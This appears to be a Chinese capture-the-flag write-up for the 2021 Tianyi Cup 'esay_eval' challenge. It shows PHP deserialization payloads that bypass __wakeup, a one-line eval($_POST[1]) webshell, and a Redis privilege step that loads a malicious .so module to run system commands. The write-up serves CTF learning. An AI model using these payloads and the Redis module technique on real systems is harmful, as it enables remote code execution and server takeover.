[天翼杯 2021]esay_eval复现

考点

  • 反序列化绕过wakeup魔术方法
  • Redis加载恶意so文件获取shell

解题


class A{
     
    public $code = "";
    function __call($method,$args){
     
        eval($this->code);
        
    }
    function __wakeup(){
     
        $this->code = "";
    }
}

class B{
     
    function __destruct(){
     
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
     
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
     
        foreach ($ret[1] as $i) {
     
            if(intval($i)!==1){
     
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
     
    highlight_file(__FILE__);
} 

前置:

__call(),在对象中调用一个不可访问方法时调用

代码审计,构造链子


class A{
     
    public $code = "phpinfo();";
    }
class B{
     
	public $a;
	}
$b = new B();
$b->a = new A();
echo urlencode(serialize($b));
// O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

绕过wakeup方法

由于wakeup方法会把code置空,我们需要绕过该方法

正常来讲我们只需要修改:属性个数>真实属性个数

但是这里有正则需要保证属性的值为1

方法1:

增加真实属性的个数

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}

方法2:

类名是不区分大小写的,因此只要类名改成小写,绕wakeup修改改A和改B的属性数量都行

O:1:"b":3:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

[天翼杯 2021]esay_eval复现_第1张图片查看disable function,命令执行函数都被过滤了

这里我们使用蚁剑连接

O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

Redis加载恶意so获取shell

html目录下有config文件,里面有redis密码

[天翼杯 2021]esay_eval复现_第2张图片

先在html目录下上传恶意so文件

文件地址

上传完成后使用蚁剑redis插件连接

[天翼杯 2021]esay_eval复现_第3张图片

然后再加载

MODULE LOAD "/var/www/html/exp.so"
system.exec "whoami"

[天翼杯 2021]esay_eval复现_第4张图片

之后便可以执行命令

system.exec "cat /f"

你可能感兴趣的:(刷题记录,linux,ssh,安全)